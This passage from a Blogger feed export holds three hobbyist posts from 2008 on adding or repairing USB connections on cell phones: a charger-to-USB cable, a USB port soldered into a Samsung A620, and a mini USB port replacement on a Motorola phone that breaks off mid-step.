src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-7222958690179725612</id><published>2008-03-02T09:01:00.001-08:00</published><updated>2008-03-02T09:01:58.589-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cellphones Hack'/><title type='text'>Phone USB Cable from Car Charger</title><content type='html'>&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20029.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20029.jpg" alt="" border="0" /&gt;&lt;/a&gt;So you &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;dont&lt;/span&gt; want to cut up your phone....( &lt;a href="http://computerguru365.blogspot.com/2006/10/add-usb-port-to-your-cell-phone.html"&gt;if you do...&lt;/a&gt; )&lt;br /&gt;&lt;br /&gt;well if your phone came with a car charger or even a desktop charger you could be in luck.&lt;br /&gt;&lt;br /&gt;this method is fairly straightforward so ill keep it simple&lt;br /&gt;&lt;br /&gt;first take apart the part that connects to the phone&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;NOTE: look at the pins! if there are less then three pins get another charger.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;the charging circuit requires minimum 2 wires connected, &lt;span style="font-weight: bold;"&gt;&lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;dont&lt;/span&gt; count the wires&lt;/span&gt;, count the pins that the wires are attached to (see picture) &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20022.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20022.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;in this picture you can see the original red and black wires plus the wires i attached&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;next find the &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;pinout&lt;/span&gt; for your charger and solder the wires from the &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;usb&lt;/span&gt; cable to the connector&lt;br /&gt;&lt;br /&gt;smash everything inside the connector and screw it back together&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20027.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20027.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger2/6316/2693/1600/charger-usb-cable%20006.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger2/6316/2693/320/charger-usb-cable%20006.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;there. you now have a way to connect the phone to your computer via &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;usb&lt;/span&gt; without cutting up the phone.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;what you can do now is only limited by the phone you use&lt;br /&gt;&lt;br /&gt;the &lt;a href="http://www.bitpim.org/"&gt;&lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;bitpim&lt;/span&gt;&lt;/a&gt; software is very &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;versatile&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;create your own &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;ring tones&lt;/span&gt;&lt;/li&gt;&lt;li&gt;copy photos/wallpaper to and from your computer&lt;/li&gt;&lt;li&gt;backup your address book&lt;/li&gt;&lt;li&gt;use you phone as a modem&lt;/li&gt;&lt;li&gt;backup your calendar&lt;br /&gt;&lt;/li&gt;&lt;li&gt;etc&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-7222958690179725612?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/7222958690179725612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=7222958690179725612' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/7222958690179725612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/7222958690179725612'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/phone-usb-cable-from-car-charger.html' title='Phone USB Cable from Car Charger'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-4722064073049772772</id><published>2008-03-02T08:46:00.001-08:00</published><updated>2008-03-02T08:46:56.363-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cellphones Hack'/><title type='text'>Add a USB port to your Cell Phone</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20071-edited-small.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20071-edited-small.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;First i want to say, i am not responsible for any damage to your phone, expressed or implied, simply because this is a diy tutorial. USE THIS TUTORIAL AT YOUR OWN RISK!&lt;br/&gt;&lt;br/&gt;That being said, let's get on with it.&lt;br/&gt;&lt;br/&gt;I want to thank &lt;a href='http://www.pinouts.ru/'&gt;pinouts.ru&lt;/a&gt; for having a vast amount of information regarding pinouts for many items. hopefully you will be able to find the information you need.&lt;br/&gt;I also want to thank &lt;span style='text-decoration: underline;'&gt;&lt;a href='http://www.bitpim.org/'&gt;bitpim.org&lt;/a&gt;&lt;/span&gt; for having the software needed to access my phone. With it you can transfer your phone book, pictures, and even custom made ring tones, along with other stuff.&lt;br/&gt;&lt;br/&gt;I did this hack for two reasons, first, i didnt want to buy a usb cable for my phone. call me "cheap" but i did not see a reason to spend $30-$50 on a cable that i wouldnt use that often. second, theres no reason for me to spend $15/month for internet access on my phone, when i am only spending $10/mo for service. but still i wanted the freedom to take pictures with the phone and still be able to get the pictures off of it.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;What you will need:&lt;ul&gt;&lt;li&gt;a camera phone ( I used a Samsung A620/VGA1000)&lt;/li&gt;&lt;li&gt;a mini usb connector (pulled from a dummy Blackberry)&lt;br/&gt;&lt;/li&gt;&lt;li&gt;80-pin ide cable(or other small wires)&lt;/li&gt;&lt;li&gt;solder, soldering iron&lt;/li&gt;&lt;li&gt;a little tape for insulation&lt;/li&gt;&lt;li&gt;dremel or something to cut the phone shell&lt;/li&gt;&lt;li&gt;magnifying glass or some way to make your soldering easier&lt;/li&gt;&lt;li&gt;a lot of patience, massive amounts&lt;/li&gt;&lt;/ul&gt;i&lt;br /&gt;had an old "dummy" Blackberry, you know, the "for display only" kind.&lt;br /&gt;so i took it apart and found many useful electronic items in it.&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/dummy%20Blackberry%20001.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/dummy%20Blackberry%20001.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/dummy%20Blackberry%20006.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/dummy%20Blackberry%20006.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/dummy%20Blackberry%20009.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/dummy%20Blackberry%20009.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;de-soldered the usb jack to use in my phone&lt;br/&gt;&lt;br/&gt;then take a 80-pin ide cable, or whatever small wire you use for such projects, and strip the ends&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20005.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20005.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;carefully&lt;br /&gt;solder the wires to the jack. on mine i wanted to use the red wire as&lt;br /&gt;my the #1 pin for easier wiring, but when i double checked it, i wired&lt;br /&gt;it backwards, so now my red wire is the #4 wire.&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20006.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20006.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20014.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20014.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;once you get your usb cable ready we move to the fun part&lt;br/&gt;&lt;br/&gt;you&lt;br /&gt;need to disassemble your phone and find a location to put the usb port.&lt;br /&gt;i think if you have an older phone it should be simple to find a spot.&lt;br /&gt;mine was in place of the carrying strap, which i really didnt need.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20037.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20037.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20040-edited.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20040-edited.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;slowly&lt;br /&gt;cut out the space you need to install the usb port. take your time,&lt;br /&gt;especially if its the only phone you have. i was lucky that i had a&lt;br /&gt;second, non-working A620 i could try it on. just in case it didnt work&lt;br /&gt;i would still have a working phone.&lt;br/&gt;&lt;br/&gt;heres a picture showing before and after the modification of the shell.&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20055.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20055.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;this&lt;br /&gt;is the fitting stage. keep trying to get the usb jack to fit. trim a&lt;br /&gt;little here and there, bend the tabs on the usb jack, just do what you&lt;br /&gt;have to to get it to fit. but keep in mind you want this phone &lt;span style='font-style: italic;'&gt;&lt;span style='font-weight: bold;'&gt;functional&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;when your finished. dont just get the usb jack to fit, you need to do a&lt;br /&gt;mock assemble, a "dry run", and put the phone back together to make&lt;br /&gt;sure everything still goes back together.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20034.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20034.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;now&lt;br /&gt;as far a the phone goes, realize that everything is tiny, and to work&lt;br /&gt;on it you need tiny things. i had to modify my soldering tip (just used&lt;br /&gt;a wheel grinder on it) to work on this project.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20046.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/200/custome%20fone%20usb%20046.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20049.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/200/custome%20fone%20usb%20049.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;this is why i ground it down. (those three connectors in the foreground connect to the battery pack), pretty tiny, eh&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20009-edited.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20009-edited.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;sorry about the pictures, its difficult to snap a clear shot while holding a magnifying lens.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20057.0.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20057.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;span style='font-weight: bold;'&gt;it took me about an hour and a half to solder 4 wires. 1 1/2 hours!&lt;/span&gt; the reason is that i took my time. and this is what i found out that will help you out on yours:&lt;br/&gt;&lt;br/&gt;put&lt;br /&gt;enough solder on the wire just to change its color. copper to silver.&lt;br /&gt;if you have a "blob", no matter what size, its too much. do this to all&lt;br /&gt;the wires before you start, because its a real pain trying to do it&lt;br /&gt;when some of the wires are already soldered&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20064-edited.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20064-edited.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;when&lt;br /&gt;you are finished connecting the wires, apply a little tape to help hold&lt;br /&gt;it in place and it help with insulation also. as you go to assemble&lt;br /&gt;everything take your time, you got this far, dont break something&lt;br /&gt;because youre rushing to get it back together.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/custome%20fone%20usb%20065.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/custome%20fone%20usb%20065.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/usb%20070-edited.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/usb%20070-edited.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/usb%20067-edited.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/usb%20067-edited.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;i took this picture to show that it still functions. hope yours comes out just as nice or better&lt;br/&gt;&lt;a href='http://photos1.blogger.com/blogger2/6316/2693/1600/usb%20071-edited.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' alt='' src='http://photos1.blogger.com/blogger2/6316/2693/320/usb%20071-edited.jpg' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;u&gt;do more research:&lt;br/&gt;&lt;br/&gt;&lt;/u&gt;&lt;ul&gt;&lt;li&gt;find out all the information you can on your phone to see if its possible to do this&lt;/li&gt;&lt;li&gt;gather pinout information, schematic, diagrams or look for someone else that done it on your style phone&lt;/li&gt;&lt;li&gt;i found out that i needed a certain winXP driver for my phone to be recognized, do the same for yours&lt;/li&gt;&lt;li&gt;its&lt;br /&gt;always nice to have a backup, ask friends, family, coworkers if they&lt;br /&gt;have any non-working or unused phones that you can practice on before&lt;br /&gt;attempting modification on yours&lt;/li&gt;&lt;li&gt;as always -have fun!-&lt;/li&gt;&lt;/ul&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-4722064073049772772?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/4722064073049772772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=4722064073049772772' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4722064073049772772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4722064073049772772'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/add-usb-port-to-your-cell-phone.html' title='Add a USB port to your Cell Phone'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-1936850073330676520</id><published>2008-03-02T08:12:00.001-08:00</published><updated>2008-03-02T08:12:26.684-08:00</updated><title type='text'>How-To: Replace a mini USB port (on your cellphone)</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div id='1033551' class='post'&gt;&lt;img width='425' vspace='4' hspace='4' height='189' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/1busted-port-side.jpg'/&gt;&lt;br/&gt;At&lt;br /&gt;some point, just about everyone manages to mess up their precious&lt;br /&gt;electronics. In this case, someone (not me) somehow managed to totally&lt;br /&gt;demolish the mini USB port in their new Motorola cell phone. Surface&lt;br /&gt;mount repairs can be challenging without some serious tools, but it's&lt;br /&gt;possible to replace parts without a re-work station. (Guess what I'm&lt;br /&gt;getting for Christmas this year.) Today I'll show you that's it's&lt;br /&gt;possible to repair a surface mount part with some fairly inexpensive&lt;br /&gt;tools.&lt;br/&gt;To do this repair, you'll need just a few tools:&lt;br/&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;fine tip soldering iron (Weller 15 watt)&lt;/li&gt;&lt;li&gt;Dremel tool with cut off wheel&lt;/li&gt;&lt;li&gt;De-soldering Braid&lt;/li&gt;&lt;li&gt;Torx T5 screwdriver&lt;/li&gt;&lt;li&gt;small flat bladed screwdriver (optional)&lt;/li&gt;&lt;li&gt;Diagonal cutters&lt;/li&gt;&lt;li&gt;small hemostat or fine tweezers&lt;/li&gt;&lt;li&gt;Panavise, helping hands or similar bench top holding device.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;I already had all the soldering gear, but I had to track down a new T5&lt;br /&gt;driver since mine vanished. I picked up a decent quality, iron oxide&lt;br /&gt;coated T5 driver at Sears for a little over $3. Sears actually has&lt;br /&gt;these individually, so you don't need to buy a set.&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/open-up-theback.jpg'/&gt;&lt;br/&gt;To get started, take off the back cover and remove the battery.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='194' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/torx-driver.jpg'/&gt;&lt;br/&gt;Next, whip out that Torx T5 and remove the screws holding the phone together. On this one, there were only four to remove.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/2separatetherear.jpg'/&gt;&lt;br/&gt;With&lt;br /&gt;the screws out, gently pull the phone apart. The lower half of this&lt;br /&gt;Motorola clips together, so I gently worked around the edges with a&lt;br /&gt;small flat screwdriver until it came apart.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='207' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/remove-sim-holder.jpg'/&gt;&lt;br/&gt;The&lt;br /&gt;SIM card board easily separates from the phone via the flat SMD&lt;br /&gt;connector. Just gently apply pressure near the connector and it comes&lt;br /&gt;right off.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/remove-pad-board.jpg'/&gt;&lt;br/&gt;Next,&lt;br /&gt;the flat ribbon cable needs to be detached in the same manner, and the&lt;br /&gt;main PC board removed from the phone. It should pull right out once the&lt;br /&gt;cable is disconnected.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/put-parts-in-safe-location.jpg'/&gt;&lt;br/&gt;As&lt;br /&gt;you disassemble the phone, put each of the pieces into a parts bin. Any&lt;br /&gt;sort of container will do, but I'd avoid a static generating plastic&lt;br /&gt;Tupperware container.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/peel-seal-back-2.jpg'/&gt;&lt;br/&gt;Carefully&lt;br /&gt;place the board in your clamp/Panavise/whatever - I had to line up the&lt;br /&gt;buttons with the slots in the vise, or I probably would have damaged&lt;br /&gt;them when I clamped the board. &lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/compare-ports.jpg'/&gt;&lt;br/&gt;You'll need a new connector before you can fix anything. I ordered this new SMD mini USB port from &lt;a href='http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.mouser.com%2F&amp;amp;ei=2YMyR-DjEqW6hAKNiuyPAg&amp;amp;usg=AFQjCNEL2XlpJ3nONUSPW6o74OfVQfSzdw&amp;amp;sig2=X-ubEgxKPuEFASjVJa16NQ'&gt;Mouser electronics&lt;/a&gt; (Part #538-67503-1020). It's very nearly the exact same part, down to the yellow tape on top.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='203' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/cut-tabs-reveal-rear.jpg'/&gt;&lt;br/&gt;In&lt;br /&gt;order to check the condition of the pins, clip the two tabs that hold&lt;br /&gt;the rear shielding on to the connector with a pair of diagonal cutters&lt;br /&gt;(optionally, you can use a Dremel/rotary tool).&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='221' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/back-off-of-port.jpg'/&gt;&lt;br/&gt;With&lt;br /&gt;the rear shield removed, we can access the rear pins - Unlike the&lt;br /&gt;front, everything looks pretty good. The advantage of surface mount&lt;br /&gt;parts is that they don't require much solder to hold together.&lt;br /&gt;Unfortunately, when you're replacing a surface mount part, a small&lt;br /&gt;amount of solder can keep you from removing the part without damaging&lt;br /&gt;the board. &lt;br/&gt;&lt;br/&gt;&lt;img width='424' vspace='4' hspace='4' height='241' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/peel-back-seal.jpg'/&gt;&lt;br/&gt;To keep from burning this foam seal, peel it back and stick it off to the side.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='242' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/dremel-port-apart.jpg'/&gt;&lt;br/&gt;Enter the rotary tool. Sliced the top off of the connector by cutting the sides lengthwise.&lt;br/&gt;&lt;br/&gt;&lt;img width='424' vspace='4' hspace='4' height='226' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/top-removed-see-damage.jpg'/&gt;&lt;br/&gt;The&lt;br /&gt;damage to the pins was pretty amazing once the top was off. Ouch! I&lt;br /&gt;went ahead and peeled off that foam seal when I started cutting. Note&lt;br /&gt;that the fourth pin is actually shoved inward and upward just a bit.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='283' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/pins-removed-from-board.jpg'/&gt;&lt;br/&gt;Next,&lt;br /&gt;cut across the center of the connector. The bent pins should be gently&lt;br /&gt;cut loose and the upper half of the plastic connector will probably&lt;br /&gt;fall apart. The shielding on the sides should be cut to allow each leg&lt;br /&gt;to be removed individually. (Be careful not to cut the PC board below!)&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='162' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/clamp-pin-desolder.jpg'/&gt;&lt;br/&gt;Working&lt;br /&gt;from one side to the other, heat up the solder pad on each pin. Then&lt;br /&gt;use some tweezers to grip each pin of the connector. (I used a small&lt;br /&gt;pair of alligator forceps) If the solder is hot enough, the surface&lt;br /&gt;mount pin should come loose with little to no force. It's vitally&lt;br /&gt;important to be as gentle as possible with each one. The solder pads on&lt;br /&gt;the PC board are very delicate, and easy to pull up if you're not&lt;br /&gt;careful. Unfortunately, overheating the pads can also cause them to&lt;br /&gt;pull up. So be quick about it!&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='196' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/remove-plastic-bits.jpg'/&gt;&lt;br/&gt;With the delicate pins out of the way, I carefully cut apart the remaining plastic and removed it.&lt;br/&gt;&lt;br/&gt;&lt;img width='425' vspace='4' hspace='4' height='195' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/everything-off-ugly.jpg'/&gt;&lt;br/&gt;Finally, the remaining legs of the shielding were heated and removed from the board.&lt;br/&gt;&lt;br/&gt;&lt;img width='424' vspace='4' hspace='4' height='212' border='0' alt='' src='http://www.blogsmithmedia.com/www.hackaday.com/media/2007/11/cleaned-up-pads.jpg'/&gt;&lt;br/&gt;After&lt;br /&gt;that, I used de-soldering braid to remove 